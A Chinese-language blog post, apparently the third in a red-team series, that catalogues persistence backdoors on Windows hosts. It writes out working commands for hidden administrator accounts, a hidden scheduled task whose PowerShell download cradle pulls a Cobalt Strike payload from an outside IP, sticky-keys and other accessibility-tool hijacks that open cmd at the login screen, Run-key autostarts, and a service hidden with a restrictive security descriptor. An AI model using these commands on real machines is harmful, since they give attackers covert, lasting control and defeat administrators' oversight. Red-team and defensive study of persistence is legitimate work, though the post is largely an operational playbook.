连载｜浅谈红队中的权限维持（三）-Window主机后门

最新推荐文章于 2024-10-16 11:02:39 发布

无问社区

最新推荐文章于 2024-10-16 11:02:39 发布

阅读量2.5k

点赞数 65

分类专栏：思路文章标签：网络安全安全 web安全系统安全

本文链接：https://blog.csdn.net/wuwenshequ/article/details/140525334

版权

思路专栏收录该内容

23 篇文章 1 订阅

订阅专栏

前言

续接上文浅谈红队中的打点（连载第二篇）

不过因为一些权限维持的方法需要管理员权限才行，所有这时又需要先提权才能做权限维持；有时如果想做域控权限维持又需要先进行横向移动。

所以实战中并不会像上面的图一样一步一步的来，这个是要根据实际情况去具体分析的。

注意：本系列侧重的是面，不是具体的点，因此文中不会面面俱到的谈论每个方法具体怎么利用，这里更加看着的是知识点的一个梳理。

0x01 Windows 主机后门

1、隐藏账号

这个是比较常见的创建后门的方法，直接建立一个隐藏账号

net user teamssix$ Passw0rd /add

net localgroup administrators teamssix$ /add

虽然使用 net user 是看不到这个账号的，但是在控制面板里可以看到，因此这种隐藏效果并不是很好。

想要更好的隐藏效果，可以通过注册表克隆用户实现，只是操作起来比较繁琐，所以我这边写了一个利用注册表创建隐藏用户的小工具。

工具地址：

https://github.com/wgpsec/CreateHiddenAccount

直接使用以下命令，就可以轻松的创建一个隐藏用户。

CreateHiddenAccount.exe -u teamssix -p Passw0rd

创建完后，通过 net user 和控制面板等等都是看不到这个账号的。

也可以拿来检查当前系统的隐藏账号

CreateHiddenAccount.exe -c

删除用户也很方便

CreateHiddenAccount.exe -d teamssix

2、计划任务

计划任务也是比较常见的权限维持方法，计划任务在 Win7 之前使用 at 命令，之后的系统中使用 schtasks 命令。

例如每小时执行一次 calc.exe

schtasks /create /tn updater /tr calc.exe /sc hourly /mo 1

当系统空闲时，执行 CS 上线 PowerShell 脚本

schtasks /create /tn WindowsUpdate /tr "powershell.exe -nop -w hidden -c'IEX ((new-object net.webclient).downloadstring('''http://172.16.214.1:80/a'''))'" /sc onidle /i 1

除了使用系统自带命令外，还可以使用 PowerSploit 渗透测试框架里的 Persistence 模块自动创建计划任务后门。

3、shift 后门

这个也算是比较知名的后门方法了，直接使用 copy 命令即可

copy C:WindowsSystem32cmd.exe C:WindowsSystem32sethc.exe /y

如果提示访问被拒绝，可以在管理员权限下，加上 everyone 的权限再试试。

cacls C:WindowsSystem32sethc.exe /T /E /G everyone:F

然后在登录界面按 5 下 shift 键就能打开 cmd 窗口了。

使用注册表也可以。

REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t REG_SZ /d "C:windowssystem32cmd.exe"

除了按 5 下 shift 打开粘滞键的功能外，同样的道理，还可以使用辅助工具、放大镜、屏幕键盘等等。

辅助工具 utilman.exe

REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutilman.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f

屏幕键盘 osk.exe

REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsosk.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f

放大镜 Magnify.exe

REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsMagnify.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f

4、组策略

新建一个 bat 文件，这里 bat 内容为 calc

使用 gpedit.msc 进入本地组策略，来到用户配置 --》Windows 设置 --》脚本登录，点击浏览选择 bat 文件，当用户登录时就会触发这个 bat 文件。

5、注册表

在系统启动的注册表下添加恶意程序，这样当用户登录系统时，exe 就会被运行，或者将 exe 直接放到系统启动的文件夹里也是一样的道理。

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Vmware Regg" /t REG_SZ /d "C:WindowsSystem32calc.exe" /f

6、服务自启动

直接使用命令创建服务

sc create teamssix start=auto binPath="cmd.exe /k ping -n 1 test.xxx.ceye.io" obj=Localsystem

启动该服务

net start teamssix

虽然报错了，但其实是被执行的

只不过这种创建服务的方法隐藏性太弱，直接在服务里就能看到。

可以在创建完服务后，使用以下命令将创建的服务隐藏，这样不论是在服务中，还是使用命令都查不到这个服务。

sc.exe sdset teamssix "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

使用以下命令就能恢复。

& $env:SystemRootSystem32sc.exe sdset teamssix "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"